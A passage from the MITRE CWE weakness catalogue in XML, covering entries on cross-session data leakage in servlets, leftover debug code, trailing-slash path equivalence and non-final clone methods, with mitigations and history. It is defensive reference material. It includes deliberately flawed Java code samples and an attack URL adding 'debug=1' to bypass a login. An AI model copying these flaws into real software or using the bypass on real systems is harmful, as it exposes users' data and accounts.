					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Relying on Package-level
						Scope</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="488" Name="Exposure of Data Element to Wrong Session" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not sufficiently enforce boundaries between
					the states of different sessions, causing data to be provided to, or used by,
					the wrong session.</Description_Summary>
				        <Extended_Description>
					          <Text>Data can "bleed" from one session to another through member variables of
						singleton objects, such as Servlets, and objects from a shared pool.</Text>
					          <Text>In the case of Servlets, developers sometimes do not understand that,
						unless a Servlet implements the SingleThreadModel interface, the Servlet is
						a singleton; there is only one instance of the Servlet, and that single
						instance is used and re-used to handle multiple requests that are processed
						simultaneously by different threads. A common result is that developers use
						Servlet member fields in such a way that one user may inadvertently see
						another user's data. In other words, storing user data in Servlet member
						fields introduces a data access race condition.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>882</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 14 - Concurrency (CON)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect the application's sessions from information leakage. Make sure
							that a session's data is not used or visible by other sessions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a static analysis tool to scan the code for information leakage
							vulnerabilities (e.g. Singleton Member Field).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In a multithreading environment, storing user data in Servlet member
							fields introduces a data access race condition. Do not use member fields
							to store information in the Servlet.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Servlet stores the value of a request parameter in a
						member field and then later echoes the parameter value to the response
						output stream.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class GuestBook extends HttpServlet {</Code>
							              <Block>
								                <Code>String name;</Code>
								                <Code/>
								                <Code>protected void doPost (HttpServletRequest req,
									HttpServletResponse res) {</Code>
								                <Block>
									                  <Code>name = req.getParameter("name");</Code>
									                  <Code>...</Code>
									                  <Code>out.println(name + ", thanks for visiting!");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While this code will work perfectly in a single-user environment, if
							two users access the Servlet at approximately the same time, it is
							possible for the two request handler threads to interleave in the
							following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane"
							to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print
							"Jane, thanks for visiting!" Thereby showing the first user the second
							user's name.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Data Leaking Between Users</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use lock classes for mutex management</Mapped_Node_Name>
					          <Mapped_Node_ID>CON02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Data Leaking Between
						Users</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Data Leak Between
						Sessions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="489" Name="Leftover Debug Code" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The application can be deployed with active debugging code that
					can create unintended entry points.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>A common development practice is to add "back door" code specifically
						designed for debugging or testing purposes that is not intended to be
						shipped or deployed with the application. In web-based applications, debug
						code is used to test and modify web application properties, configuration
						information, and functions. If a debug application is left on a production
						server, an attacker may be able to use it to perform these tasks. When this
						sort of debug code is left in the application, the application is open to
						unintended modes of interaction. These back door entry points create
						security risks because they are not considered during design or testing and
						fall outside of the expected operating conditions of the application.</Text>
					          <Text>While it is possible to leave debug code in an application in any
						language, in J2EE a main method may be a good indicator that debug code has
						been left in the application, although there may not be any direct security
						impact.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The severity of the exposed debug application will depend on the
							particular instance. At the least, it will give an attacker sensitive
							information about the settings and mechanics of web applications on the
							server. At worst, as is often the case, the debug application will allow
							an attacker complete control over the web application and server, as
							well as confidential information that either of these access.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Phase>Distribution</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove debug code before deploying the application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Debug code can be used to bypass authentication. For example,
						suppose an application has a login script that receives a username and a
						password. Assume also that a third, optional, parameter, called "debug", is
						interpreted by the script as requesting a switch to debug mode, and that
						when this parameter is given the username and password are not checked. In
						such a case, it is very simple to bypass the authentication process if the
						special behavior of the application regarding the debug parameter is known.
						In a case where the form is:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;FORM ACTION="/authenticate_login.cgi"&gt;</Code>
							              <Block>
								                <Code>&lt;INPUT TYPE=TEXT name=username&gt;</Code>
								                <Code>&lt;INPUT TYPE=PASSWORD name=password&gt;</Code>
								                <Code>&lt;INPUT TYPE=SUBMIT&gt;</Code>
							              </Block>
							              <Code>&lt;/FORM&gt;</Code>
						            </Block>
						            <Text>Then a conforming link will look like:</Text>
						            <Block>
							              <Code>http://TARGET/authenticate_login.cgi?username=...&amp;password=...</Code>
						            </Block>
						            <Text>An attacker can change this to:</Text>
						            <Block Block_Nature="Attack">
							              <Code>http://TARGET/authenticate_login.cgi?username=&amp;password=&amp;debug=1</Code>
						            </Block>
						            <Text>Which will grant the attacker access to the site, bypassing the
							authentication process.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Leftover Debug Code</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has a statement that defines an entry point
						into an application which exposes additional state and control
						information</Text>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="49" Name="Path Equivalence: 'filename/' (Trailing Slash)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					trailing slash ('filedir/') without appropriate validation can lead to ambiguous
					path resolution and allow an attacker to traverse the file system to unintended
					locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>162</Relationship_Target_ID>
					          <!--Improper Neutralization of Trailing Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0253</Observed_Example_Reference>
					          <Observed_Example_Description>Overlaps infoleak</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0446</Observed_Example_Reference>
					          <Observed_Example_Description> Application server allows remote attackers to
						read source code for .jsp files by appending a / to the requested URL.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0334</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass Basic Authentication for files using
						trailing "/"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0893</Observed_Example_Reference>
					          <Observed_Example_Description>Read sensitive files with trailing
						"/"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0892</Observed_Example_Reference>
					          <Observed_Example_Description>Web server allows remote attackers to view
						sensitive files under the document root (such as .htpasswd) via a GET
						request with a trailing /. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1814</Observed_Example_Reference>
					          <Observed_Example_Description>Directory traversal vulnerability in server allows
						remote attackers to read protected files via .. (dot dot) sequences in an
						HTTP request. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>BID:3518</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure </Observed_Example_Description>
					          <Observed_Example_Link>http://www.securityfocus.com/bid/3518</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>filedir/ (trailing slash, trailing /)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Trailing Slash -
						filedir/</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="491" Name="Public cloneable() Method Without Final ('Object Hijack')" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A class has a cloneable() method that is not declared final,
					which allows an object to be created without calling the constructor. This can
					cause the object to be in an unexpected state.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>490</Relationship_Target_ID>
					          <!--Mobile Code Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make the cloneable() method final.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, a public class "BankAccount" implements the
						cloneable() method which declares "Object clone(string
						accountnumber)":</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount implements Cloneable{</Code>
							              <Block>
								                <Code>public Object clone(String accountnumber) throws</Code>
								                <Code>CloneNotSupportedException</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>Object returnMe = new BankAccount(account number);</Code>
									                  <Code>...</Code>
									                  <Code/>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the example below, a clone() method is defined without being
						declared final.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>protected Object clone() throws CloneNotSupportedException
								{</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP , Attack Category : Mobile code: object
						hijack</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Mobile_code:_object_hijack</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Mobile Code: Object Hijack</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Sensitive classes must not let themselves be
						copied</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ07-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated References, Demonstrative_Example,
						Potential_Mitigations, Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, References,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
